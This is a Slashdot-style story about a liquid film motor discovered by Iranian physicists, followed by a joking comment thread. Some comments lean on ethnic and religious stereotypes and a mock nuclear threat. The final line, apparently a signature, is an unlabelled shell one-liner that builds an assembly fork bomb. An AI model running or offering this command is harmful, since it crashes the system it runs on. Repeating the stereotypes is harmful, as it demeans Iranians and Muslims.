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Motor Made From Liquid Film
KentuckyFC writes "Last year, a group of Iranian physicists made a puzzling discovery. They placed a thin film of water in a small cell and bathed it in two perpendicular electric fields. To their surprise this caused the water to rotate. They called their device a liquid film motor and posted on the web a cool set of movies showing the phenomenon. The puzzle is this: the electric fields are static, so what's driving the motor? Now another group of physicists has the answer: a complex interaction between the electric field, the cell container and the liquid causes water to move along the cell wall. Crucially, it moves in opposite directions on opposite sides of the cell and so sets up a circular flow. The phenomenon works only when friction and surface tension are significant forces so the effect is entirely scale dependent. That's probably why we haven't seen it before and also why it could have important implications for microfluidic devices such as lab-on-a-chip."
The energy comes directly from the physicist's beards. We all know that Iranians have beards, this is what is powering this device. Unfortunately in nations where beards are less prevalent, this effect will be less pronounced, or maybe not evident at all.
By posting links to MOVIES hosted in IRAN you have used the /. effect to saturate that entire country's available bandwidth. This is terrorism sponsored by the capitalist west! You have fired the first shot, but I ran WILL retaliate. You knew we had nukes, now we will prove it to the doubters. Kiss your precious Israel goodbye!
It'll take us a while to get the nukes into launch position though. The servos are these really cool little motors made out of water and electricity. They have to be really small, so we have a whole lot of them working together.
Do not meddle in the affairs of sysadmins, for they are subtle, and quick to anger.
From the will of Allah, you insensitive infidel.
Can I use a Beowulf cluster of these to run my car?
You have the right to remain sentient. If you give up the right to remain sentient, you will be elected to public office
Doesn't Microsoft hold a patent on this?
Well, without the scientific content of the article, I thought it was really a dastardly plot to DDOS Iran with the Slashdot Effect, especially with the inclusion of video.
I am officially gone from
Are you kidding me? This definitely looks like it has WMD potential.
in fact, he even tricked god. he said "god, i doubt you exist" while flying a kite
god naturally threw a thunderbolt at him for the insubordinance, giving franklin the electricity he was investigating
thus, did a scientist outwit god
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
Seriously, do talk about posting pictures of hot chicks and then not post them.
Nice to see at least something coming out of that region of the world nowadays that has no relation to terrorists or nukes.
Nonsense. This is clearly a prototype terrorist water tentacle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;